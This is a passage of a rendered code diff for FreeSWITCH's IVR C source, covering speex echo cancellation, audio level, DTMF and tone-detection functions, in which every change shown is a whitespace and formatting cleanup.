</span><del>-                                        speex_echo_cancellation(cb-&gt;read_ec, (int16_t *)frame-&gt;data, (int16_t *)cb-&gt;write_data, (int16_t *)cb-&gt;read_out);
</del><ins>+                                        speex_echo_cancellation(cb-&gt;read_ec, (int16_t *) frame-&gt;data, (int16_t *) cb-&gt;write_data, (int16_t *) cb-&gt;read_out);
</ins><span class="cx">                                         memcpy(frame-&gt;data, cb-&gt;read_out, frame-&gt;datalen);
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><del>-                                y = speex_preprocess_run(cb-&gt;read_st, frame-&gt;data);                                
</del><ins>+                                y = speex_preprocess_run(cb-&gt;read_st, frame-&gt;data);
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (cb-&gt;write_ec) {
</span><span class="lines">@@ -1141,16 +1139,17 @@
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_ABC_TYPE_WRITE_REPLACE:
</span><span class="cx">                 {
</span><del>-                        if (cb-&gt;done) return SWITCH_FALSE;
</del><ins>+                        if (cb-&gt;done)
+                                return SWITCH_FALSE;
</ins><span class="cx">                         frame = switch_core_media_bug_get_write_replace_frame(bug);
</span><span class="cx"> 
</span><span class="cx">                         if (cb-&gt;write_st) {
</span><span class="cx"> 
</span><span class="cx">                                 if (cb-&gt;write_ec) {
</span><del>-                                        speex_echo_cancellation(cb-&gt;write_ec, (int16_t *)frame-&gt;data, (int16_t *)cb-&gt;read_data, (int16_t *)cb-&gt;write_out);
</del><ins>+                                        speex_echo_cancellation(cb-&gt;write_ec, (int16_t *) frame-&gt;data, (int16_t *) cb-&gt;read_data, (int16_t *) cb-&gt;write_out);
</ins><span class="cx">                                         memcpy(frame-&gt;data, cb-&gt;write_out, frame-&gt;datalen);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 y = speex_preprocess_run(cb-&gt;write_st, frame-&gt;data);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -1173,19 +1172,19 @@
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         time_t to = 0;
</span><span class="cx">         switch_media_bug_flag_t flags = 0;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         pp_cb_t *cb;
</span><span class="cx">         int update = 0;
</span><span class="cx">         int argc;
</span><span class="cx">         char *mydata = NULL, *argv[5];
</span><span class="cx">         int i = 0;
</span><span class="cx"> 
</span><del>-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx">         if ((cb = switch_channel_get_private(channel, &quot;_preprocess&quot;))) {
</span><span class="cx">                 update = 1;
</span><span class="cx">         } else {
</span><del>-                cb = switch_core_session_alloc(session, sizeof(*cb));                
</del><ins>+                cb = switch_core_session_alloc(session, sizeof(*cb));
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -1198,8 +1197,8 @@
</span><span class="cx"> 
</span><span class="cx">         mydata = strdup(cmds);
</span><span class="cx">         argc = switch_separate_string(mydata, ',', argv, (sizeof(argv) / sizeof(argv[0])));
</span><del>-        
-        for(i = 0; i &lt; argc; i++) {
</del><ins>+
+        for (i = 0; i &lt; argc; i++) {
</ins><span class="cx">                 char *var = argv[i];
</span><span class="cx">                 char *val = NULL;
</span><span class="cx">                 char rw;
</span><span class="lines">@@ -1213,12 +1212,12 @@
</span><span class="cx">                 if (var) {
</span><span class="cx">                         if ((val = strchr(var, '='))) {
</span><span class="cx">                                 *val++ = '\0';
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 rw = *var++;
</span><del>-                                while(*var == '.' || *var == '_') {
</del><ins>+                                while (*var == '.' || *var == '_') {
</ins><span class="cx">                                         var++;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (rw == 'r') {
</span><span class="cx">                                         if (!cb-&gt;read_st) {
</span><span class="cx">                                                 cb-&gt;read_st = speex_preprocess_state_init(read_impl.samples_per_packet, read_impl.samples_per_second);
</span><span class="lines">@@ -1237,8 +1236,9 @@
</span><span class="cx">                                         mutex = cb-&gt;write_mutex;
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><del>-                                if (mutex) switch_mutex_lock(mutex);
-                                
</del><ins>+                                if (mutex)
+                                        switch_mutex_lock(mutex);
+
</ins><span class="cx">                                 if (st) {
</span><span class="cx">                                         err = 0;
</span><span class="cx">                                         tr = switch_true(val);
</span><span class="lines">@@ -1258,7 +1258,8 @@
</span><span class="cx">                                                 int db = atoi(val);
</span><span class="cx">                                                 if (db &lt; 0) {
</span><span class="cx">                                                         r = speex_preprocess_ctl(st, SPEEX_PREPROCESS_SET_NOISE_SUPPRESS, &amp;db);
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Setting NOISE_SUPPRESS on %c to %d [%d]\n&quot;, rw, db, r);
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Setting NOISE_SUPPRESS on %c to %d [%d]\n&quot;, rw, db,
+                                                                                          r);
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Syntax error noise_suppress should be in -db\n&quot;);
</span><span class="cx">                                                 }
</span><span class="lines">@@ -1278,10 +1279,10 @@
</span><span class="cx">                                                                         cb-&gt;write_ec = NULL;
</span><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         ec = NULL;
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (!ec) {
</span><span class="cx">                                                         if (rw == 'r') {
</span><span class="cx">                                                                 ec = cb-&gt;read_ec = speex_echo_state_init(read_impl.samples_per_packet, tail);
</span><span class="lines">@@ -1300,7 +1301,8 @@
</span><span class="cx">                                                 int db = atoi(val);
</span><span class="cx">                                                 if (db &lt; 0) {
</span><span class="cx">                                                         speex_preprocess_ctl(st, SPEEX_PREPROCESS_SET_ECHO_SUPPRESS, &amp;db);
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Setting ECHO_SUPPRESS on %c to %d [%d]\n&quot;, rw, db, r);
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Setting ECHO_SUPPRESS on %c to %d [%d]\n&quot;, rw, db,
+                                                                                          r);
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Syntax error echo_suppress should be in -db\n&quot;);
</span><span class="cx">                                                 }
</span><span class="lines">@@ -1310,7 +1312,8 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        if (mutex) switch_mutex_unlock(mutex);
</del><ins>+                        if (mutex)
+                                switch_mutex_unlock(mutex);
</ins><span class="cx"> 
</span><span class="cx">                         if (err) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Syntax error parsing preprocessor commands\n&quot;);
</span><span class="lines">@@ -1334,7 +1337,7 @@
</span><span class="cx">                 if (cb-&gt;read_st) {
</span><span class="cx">                         speex_preprocess_state_destroy(cb-&gt;read_st);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (cb-&gt;write_st) {
</span><span class="cx">                         speex_preprocess_state_destroy(cb-&gt;write_st);
</span><span class="cx">                 }
</span><span class="lines">@@ -1342,11 +1345,11 @@
</span><span class="cx">                 if (cb-&gt;read_ec) {
</span><span class="cx">                         speex_echo_state_destroy(cb-&gt;read_ec);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (cb-&gt;write_ec) {
</span><span class="cx">                         speex_echo_state_destroy(cb-&gt;write_ec);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 return status;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1371,7 +1374,7 @@
</span><span class="cx">         switch_frame_t *frame = NULL;
</span><span class="cx">         int level = 0, mute = 0;
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (type == SWITCH_ABC_TYPE_READ_REPLACE || type == SWITCH_ABC_TYPE_WRITE_REPLACE) {
</span><span class="cx">                 if (!(pvt-&gt;read_level || pvt-&gt;write_level || pvt-&gt;read_mute || pvt-&gt;write_mute)) {
</span><span class="cx">                         switch_channel_set_private(switch_core_session_get_channel(pvt-&gt;session), &quot;__audio&quot;, NULL);
</span><span class="lines">@@ -1399,7 +1402,7 @@
</span><span class="cx">                 } else if (level) {
</span><span class="cx">                         switch_change_sln_volume(frame-&gt;data, frame-&gt;datalen / 2, level);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (type == SWITCH_ABC_TYPE_READ_REPLACE) {
</span><span class="cx">                         switch_core_media_bug_set_read_replace_frame(bug, frame);
</span><span class="cx">                 } else if (type == SWITCH_ABC_TYPE_WRITE_REPLACE) {
</span><span class="lines">@@ -1429,14 +1432,14 @@
</span><span class="cx">         switch_media_bug_t *bug;
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         switch_session_audio_t *pvt;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         int existing = 0, c_read = 0, c_write = 0, flags = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if ((bug = switch_channel_get_private(channel, &quot;__audio&quot;))) {
</span><span class="lines">@@ -1449,15 +1452,15 @@
</span><span class="cx"> 
</span><span class="cx">                 pvt-&gt;session = session;
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (!strcasecmp(direction, &quot;write&quot;)) {
</span><span class="cx">                 flags = SMBF_WRITE_REPLACE;
</span><span class="cx">                 c_write = 1;
</span><del>-        } else if (!strcasecmp(direction, &quot;read&quot;)){
</del><ins>+        } else if (!strcasecmp(direction, &quot;read&quot;)) {
</ins><span class="cx">                 flags = SMBF_READ_REPLACE;
</span><span class="cx">                 c_read = 1;
</span><del>-        } else if (!strcasecmp(direction, &quot;both&quot;)){
</del><ins>+        } else if (!strcasecmp(direction, &quot;both&quot;)) {
</ins><span class="cx">                 flags = SMBF_READ_REPLACE | SMBF_WRITE_REPLACE;
</span><span class="cx">                 c_read = c_write = 1;
</span><span class="cx">         }
</span><span class="lines">@@ -1482,10 +1485,10 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (existing) {
</span><span class="cx">                 switch_core_media_bug_set_flag(bug, flags);
</span><del>-                
</del><ins>+
</ins><span class="cx">         } else {
</span><span class="cx">                 if ((status = switch_core_media_bug_add(session, session_audio_callback, pvt, 0, flags, &amp;bug)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         return status;
</span><span class="lines">@@ -1529,7 +1532,8 @@
</span><span class="cx">                                         switch_channel_queue_dtmf(channel, &amp;dtmf);
</span><span class="cx">                                         p++;
</span><span class="cx">                                 }
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, &quot;DTMF DETECTED: [%s]\n&quot;, digit_str);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, &quot;DTMF DETECTED: [%s]\n&quot;,
+                                                                  digit_str);
</ins><span class="cx">                         }
</span><span class="cx">                         switch_core_media_bug_set_read_replace_frame(bug, frame);
</span><span class="cx">                 }
</span><span class="lines">@@ -1561,9 +1565,9 @@
</span><span class="cx">         switch_media_bug_t *bug;
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         switch_inband_dtmf_t *pvt;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx"> 
</span><del>-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx">         if (!(pvt = switch_core_session_alloc(session, sizeof(*pvt)))) {
</span><span class="cx">                 return SWITCH_STATUS_MEMERR;
</span><span class="lines">@@ -1650,8 +1654,8 @@
</span><span class="cx"> {
</span><span class="cx">         switch_inband_dtmf_generate_t *pvt = (switch_inband_dtmf_generate_t *) user_data;
</span><span class="cx">         switch_frame_t *frame;
</span><del>-        switch_codec_implementation_t read_impl = {0};
-    switch_core_session_get_read_impl(pvt-&gt;session, &amp;read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(pvt-&gt;session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx">         switch (type) {
</span><span class="cx">         case SWITCH_ABC_TYPE_INIT:
</span><span class="lines">@@ -1706,7 +1710,7 @@
</span><span class="cx">                                         buf[0] = dtmf-&gt;digit;
</span><span class="cx">                                         if (duration &gt; 8000) {
</span><span class="cx">                                                 duration = 4000;
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), 
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)),
</ins><span class="cx">                                                                                   SWITCH_LOG_WARNING, &quot;%s Truncating ridiculous DTMF duration %d ms to 1/2 second.\n&quot;,
</span><span class="cx">                                                                                   switch_channel_get_name(switch_core_session_get_channel(pvt-&gt;session)), dtmf-&gt;duration / 8);
</span><span class="cx">                                         }
</span><span class="lines">@@ -1838,7 +1842,7 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 frame = switch_core_media_bug_get_write_replace_frame(bug);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (i = 0; i &lt; cont-&gt;index; i++) {
</span><span class="cx"> 
</span><span class="cx">                                 if (cont-&gt;list[i].sleep) {
</span><span class="lines">@@ -1856,31 +1860,35 @@
</span><span class="cx">                                                 cont-&gt;list[i].expires = 0;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
-                                if (!cont-&gt;list[i].up) skip = 1;
-                                
-                                if (skip) return SWITCH_TRUE;
</del><span class="cx"> 
</span><ins>+                                if (!cont-&gt;list[i].up)
+                                        skip = 1;
+
+                                if (skip)
+                                        return SWITCH_TRUE;
+
</ins><span class="cx">                                 if (teletone_multi_tone_detect(&amp;cont-&gt;list[i].mt, frame-&gt;data, frame-&gt;samples)) {
</span><span class="cx">                                         switch_event_t *event;
</span><span class="cx">                                         cont-&gt;list[i].hits++;
</span><del>-                                        
-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, &quot;TONE %s HIT %d/%d\n&quot;, 
</del><ins>+
+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, &quot;TONE %s HIT %d/%d\n&quot;,
</ins><span class="cx">                                                                           cont-&gt;list[i].key, cont-&gt;list[i].hits, cont-&gt;list[i].total_hits);
</span><span class="cx">                                         cont-&gt;list[i].sleep = cont-&gt;list[i].default_sleep;
</span><span class="cx">                                         cont-&gt;list[i].expires = cont-&gt;list[i].default_expires;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (cont-&gt;list[i].hits &gt;= cont-&gt;list[i].total_hits) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, &quot;TONE %s DETECTED\n&quot;, cont-&gt;list[i].key);
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, &quot;TONE %s DETECTED\n&quot;,
+                                                                                  cont-&gt;list[i].key);
</ins><span class="cx">                                                 cont-&gt;list[i].up = 0;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (cont-&gt;list[i].callback) {
</span><span class="cx">                                                         if ((rval = cont-&gt;list[i].callback(cont-&gt;session, cont-&gt;list[i].app, cont-&gt;list[i].data)) == SWITCH_TRUE) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, &quot;Re-enabling %s\n&quot;, cont-&gt;list[i].key);
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_DEBUG, &quot;Re-enabling %s\n&quot;,
+                                                                                                  cont-&gt;list[i].key);
</ins><span class="cx">                                                                 cont-&gt;list[i].up = 1;
</span><span class="cx">                                                                 cont-&gt;list[i].hits = 0;
</span><span class="cx">                                                                 cont-&gt;list[i].sleep = 0;
</span><del>-                                                                cont-&gt;list[i].expires = 0;                                                                
</del><ins>+                                                                cont-&gt;list[i].expires = 0;
</ins><span class="cx">                                                         }
</span><span class="cx">                                                 } else if (cont-&gt;list[i].app) {
</span><span class="cx">                                                         if (switch_event_create(&amp;event, SWITCH_EVENT_COMMAND) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1895,17 +1903,18 @@
</span><span class="cx">                                                 if (cont-&gt;list[i].once) {
</span><span class="cx">                                                         rval = SWITCH_FALSE;
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_event_create(&amp;event, SWITCH_EVENT_DETECTED_TONE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         switch_event_t *dup;
</span><span class="cx">                                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Detected-Tone&quot;, cont-&gt;list[i].key);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (switch_event_dup(&amp;dup, event) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                                 switch_event_fire(&amp;dup);
</span><span class="cx">                                                         }
</span><span class="cx"> 
</span><span class="cx">                                                         if (switch_core_session_queue_event(cont-&gt;session, &amp;event) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR, &quot;Event queue failed!\n&quot;);
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(switch_core_media_bug_get_session(bug)), SWITCH_LOG_ERROR,
+                                                                                                  &quot;Event queue failed!\n&quot;);
</ins><span class="cx">                                                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;delivery-failure&quot;, &quot;true&quot;);
</span><span class="cx">                                                                 switch_event_fire(&amp;event);
</span><span class="cx">                                                         }
</span><span class="lines">@@ -1946,10 +1955,8 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_tone_detect_session(switch_core_session_t *session,
</span><span class="cx">                                                                                                                            const char *key, const char *tone_spec,
</span><del>-                                                                                                                           const char *flags, time_t timeout, 
-                                                                                                                           int hits, 
-                                                                                                                           const char *app, const char *data, 
-                                                                                                                           switch_tone_detect_callback_t callback)
</del><ins>+                                                                                                                           const char *flags, time_t timeout,
+                                                                                                                           int hits, const char *app, const char *data, switch_tone_detect_callback_t callback)
</ins><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_status_t status;
</span><span class="lines">@@ -1958,10 +1965,10 @@
</span><span class="cx">         int i = 0, ok = 0;
</span><span class="cx">         switch_media_bug_flag_t bflags = 0;
</span><span class="cx">         const char *var;
</span><del>-        switch_codec_implementation_t read_impl = {0};
-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(key)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;No Key Specified!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -2013,7 +2020,7 @@
</span><span class="cx">                 }
</span><span class="cx">         } while (next);
</span><span class="cx">         cont-&gt;list[cont-&gt;index].map.freqs[i++] = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!ok) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Invalid tone spec!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -2031,7 +2038,8 @@
</span><span class="cx"> 
</span><span class="cx">         cont-&gt;list[cont-&gt;index].callback = callback;
</span><span class="cx"> 
</span><del>-        if (!hits) hits = 1;
</del><ins>+        if (!hits)
+                hits = 1;
</ins><span class="cx"> 
</span><span class="cx">         cont-&gt;list[cont-&gt;index].hits = 0;
</span><span class="cx">         cont-&gt;list[cont-&gt;index].total_hits = hits;
</span><span class="lines">@@ -2070,14 +2078,14 @@
</span><span class="cx">                 if (strchr(flags, 'o')) {
</span><span class="cx">                         cont-&gt;list[cont-&gt;index].once = 1;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (strchr(flags, 'r')) {
</span><span class="cx">                         bflags |= SMBF_READ_REPLACE;
</span><span class="cx">                 } else if (strchr(flags, 'w')) {
</span><span class="cx">                         bflags |= SMBF_WRITE_REPLACE;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (cont-&gt;bug_running) {
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s bug already running\n&quot;, switch_channel_get_name(channel));
</span><span class="lines">@@ -2141,17 +2149,17 @@
</span><span class="cx">         switch_threadattr_t *thd_attr = NULL;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         bch_t *bch;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(session);
</span><span class="cx"> 
</span><span class="cx">         pool = switch_core_session_get_pool(session);
</span><del>-        
</del><ins>+
</ins><span class="cx">         bch = switch_core_session_alloc(session, sizeof(*bch));
</span><span class="cx">         bch-&gt;session = session;
</span><span class="cx">         bch-&gt;app = app;
</span><span class="cx">         bch-&gt;flags = flags;
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         switch_threadattr_create(&amp;thd_attr, pool);
</span><span class="cx">         switch_threadattr_detach_set(thd_attr, 1);
</span><span class="cx">         switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
</span><span class="lines">@@ -2180,7 +2188,8 @@
</span><span class="cx"> 
</span><span class="cx">         if (md-&gt;sr[direction].meta_on &amp;&amp; now - md-&gt;sr[direction].last_digit &gt; 5) {
</span><span class="cx">                 md-&gt;sr[direction].meta_on = SWITCH_FALSE;
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;%s Meta digit timeout parsing %c\n&quot;, switch_channel_get_name(channel), dtmf-&gt;digit);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;%s Meta digit timeout parsing %c\n&quot;, switch_channel_get_name(channel),
+                                                  dtmf-&gt;digit);
</ins><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -2210,7 +2219,7 @@
</span><span class="cx"> 
</span><span class="cx">                         if (ok &amp;&amp; md-&gt;sr[direction].map[dval].app) {
</span><span class="cx">                                 uint32_t flags = md-&gt;sr[direction].map[dval].flags;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((md-&gt;sr[direction].map[dval].bind_flags &amp; SBF_EXEC_OPPOSITE)) {
</span><span class="cx">                                         if (direction == SWITCH_DTMF_SEND) {
</span><span class="cx">                                                 flags |= SMF_ECHO_ALEG;
</span><span class="lines">@@ -2234,7 +2243,7 @@
</span><span class="cx">                                 if ((md-&gt;sr[direction].map[dval].bind_flags &amp; SBF_EXEC_INLINE)) {
</span><span class="cx">                                         flags |= SMF_EXEC_INLINE;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Processing meta digit '%c' [%s]\n&quot;,
</span><span class="cx">                                                                   switch_channel_get_name(channel), dtmf-&gt;digit, md-&gt;sr[direction].map[dval].app);
</span><span class="cx"> 
</span><span class="lines">@@ -2266,15 +2275,15 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_unbind_dtmf_meta_session(switch_core_session_t *session, uint32_t key)
</span><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (key) {
</span><span class="cx">                 dtmf_meta_data_t *md = switch_channel_get_private(channel, SWITCH_META_VAR_KEY);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!md || key &gt; 9) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Invalid key %u\n&quot;, key);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 memset(&amp;md-&gt;sr[SWITCH_DTMF_RECV].map[key], 0, sizeof(md-&gt;sr[SWITCH_DTMF_RECV].map[key]));
</span><span class="cx">                 memset(&amp;md-&gt;sr[SWITCH_DTMF_SEND].map[key], 0, sizeof(md-&gt;sr[SWITCH_DTMF_SEND].map[key]));
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;UnBound A-Leg: %d\n&quot;, key);
</span><span class="lines">@@ -2311,7 +2320,7 @@
</span><span class="cx">                         md-&gt;sr[SWITCH_DTMF_RECV].map[key].app = switch_core_session_strdup(session, app);
</span><span class="cx">                         md-&gt;sr[SWITCH_DTMF_RECV].map[key].flags |= SMF_HOLD_BLEG;
</span><span class="cx">                         md-&gt;sr[SWITCH_DTMF_RECV].map[key].bind_flags = bind_flags;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, &quot;Bound A-Leg: %d %s\n&quot;, key, app);
</span><span class="cx">                 }
</span><span class="cx">                 if ((bind_flags &amp; SBF_DIAL_BLEG)) {
</span><span class="lines">@@ -2390,14 +2399,14 @@
</span><span class="cx">                                 if ((p = switch_stristr(&quot;&lt;input&gt;&quot;, xmlstr))) {
</span><span class="cx">                                         p += 7;
</span><span class="cx">                                 }
</span><del>-                                
-                                while(p &amp;&amp; *p) {
</del><ins>+
+                                while (p &amp;&amp; *p) {
</ins><span class="cx">                                         char c;
</span><span class="cx"> 
</span><span class="cx">                                         if (*p == '&lt;') {
</span><span class="cx">                                                 break;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!strncasecmp(p, &quot;pound&quot;, 5)) {
</span><span class="cx">                                                 c = '#';
</span><span class="cx">                                                 p += 5;
</span><span class="lines">@@ -2414,15 +2423,15 @@
</span><span class="cx">                                                 c = *p;
</span><span class="cx">                                                 p++;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (is_dtmf(c)) {
</span><span class="cx">                                                 switch_dtmf_t dtmf;
</span><span class="cx">                                                 dtmf.digit = c;
</span><span class="cx">                                                 dtmf.duration = switch_core_default_dtmf_duration(0);
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_DEBUG, &quot;Queue speech detected dtmf %c\n&quot;, c);
</span><del>-                                                switch_channel_queue_dtmf(channel, &amp;dtmf);                                                
</del><ins>+                                                switch_channel_queue_dtmf(channel, &amp;dtmf);
</ins><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx">                                 switch_ivr_resume_detect_speech(sth-&gt;session);
</span><span class="cx">                         }
</span><span class="lines">@@ -2598,10 +2607,10 @@
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         switch_asr_flag_t flags = SWITCH_ASR_FLAG_NONE;
</span><span class="cx">         struct speech_thread_handle *sth = switch_channel_get_private(channel, SWITCH_SPEECH_KEY);
</span><del>-        switch_codec_implementation_t read_impl = {0};
